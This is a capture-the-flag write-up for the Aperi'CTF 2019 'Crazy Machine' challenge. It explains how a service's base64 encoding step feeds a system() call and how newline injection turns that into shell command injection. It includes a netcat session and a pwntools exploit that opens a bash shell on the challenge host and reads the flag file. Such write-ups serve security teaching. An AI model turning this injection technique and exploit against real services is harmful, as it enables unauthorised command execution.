Aperi’CTF 2019 - Crazy Machine
|Aperi’CTF 2019||Crazy Machine||Pwn||100||8|
Reynholm Industries is a secretive company not willing to expose its activity.
Following an investigation, you discovered a strange service running on one of their servers.
Discover how this service works and get information about Reynholm Industries.
The service is running at
Reading the name of the challenge, we can prepare ourself to beat a weird and crazy service.
Since we’ve the source code, we can skip the reverse engineering part and perform code analysis.
First, let’s fire up Visual Studio Code and inspect the code.
Reading the C preprocessor part, we can identify the following header files:
#include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <openssl/bio.h> #include <openssl/evp.h> #include <openssl/buffer.h>
If we’re focusing on uncommon headers, we can notice that the OpenSSL lib (dubbed libssl) is being used.
Let’s look how this lib is used in the code!
main() function mark
stdout as unbuffered, print a menu and call function associated to the user entry (
encode() function basically:
- Get a string from user input (a custom fgets wrapper has been used here)
- Pass the user input to
- Perform weird things to the base64 output:
- Strip the
'='from the base64 output
- Strip the
'\n'from the base64 output
- Replace the
' 'from the base64 output
- Build and execute a shell command based on the base64 output:
- Strip the
echo %s | fold -w2 | rev | tac | perl -p -e 's/[\n]//g' ^ command injection vector!
Ok, we’ve identified a shell command injection vector in the
system() call, let’s analyze the
base64() function to find how we can exploit this command injection.
base64() function is basically an OpenSSL Base64 filter BIO wrapper.
But there is a commented line that differs from the original example provided by the OpenSSL documentation:
// BIO_set_flags(b64, BIO_FLAGS_BASE64_NO_NL); // Write everything in one line
This line is used to define the
BIO_FLAGS_BASE64_NO_NL flag that will be used by the OpenSSL Base64 filter BIO to set wether the output will be wrapped to fit in a custom width.
Looking at the https://github.com/ewilded/shelling#command-separators-trickery, we can get the list of working commmand separators:
%0a(new line character)
%0d(carriage return character)
BIO_FLAGS_BASE64_NO_NL has not been defined, we can assume that we’ll be able to inject newlines on the output!
According to the Base64 manual:
wrap encoded lines after COLS character (default 76). Use 0 to disable line wrapping
To exploit the command injection we then should create a buffer containing a padding string that’ll fill the first column of the output and append a new column that will be executed as a command line.
Let’s run the challenge and try command injection:
nc crazy-machine.aperictf.fr 31338
_____ ___ ___ _ _ / __ \ | \/ | | | (_) | / \/_ __ __ _ _____ _ | . . | __ _ ___| |__ _ _ __ ___ | | | '__/ _` |_ | | | | | |\/| |/ _` |/ __| '_ \| | '_ \ / _ \ | \__/| | | (_| |/ /| |_| | | | | | (_| | (__| | | | | | | | __/ \____|_| \__,_/___|\__, | \_| |_/\__,_|\___|_| |_|_|_| |_|\___| __/ | |___/ --- Reynholm Industries --- 1 - Encode 2 - Decode 0 - Leave Your choice: => 1 Your string: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHELLO QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB sh: 2: SEVMTE8: not found
Yeah! We finally got a command injection, but the
HELLO string is not injected in cleartext, and has been encoded in base64.
Then, the injected command must be a blob that, after being passed into the base64 filter, will create the final command.
import base64 final_command = b'bash' payload = base64.b64decode(final_command) print(repr(payload)) print(repr(base64.b64encode(payload)))
As described above, when our
b'm\xab!' string is passed into the base64 filter, we successfully get our
Additionally, we can bypass the
fold pipes by adding a new junk chunk to our payload:
We can then build the final exploit:
#!/usr/bin/env python2 # -*- coding:utf-8 -*- import base64 from pwn import * def pad(data, length, char): pad_len = (length - (len(data) % length)) return '%s%s' % (char * pad_len, data) p = remote('crazy-machine.aperictf.fr', 31338) p.recvuntil('Your choice:\n=> ') payload = 'A'*48 # padding payload += base64.b64decode(pad('/bin/bash', 64, '/')) # exec command and fill the column. payload += base64.b64decode('exit') # append an additional junk command. p.sendline('1') p.recvuntil('Your string: ') p.sendline(payload) p.sendline('cat /data/flag') p.interactive() p.close()
The final flag is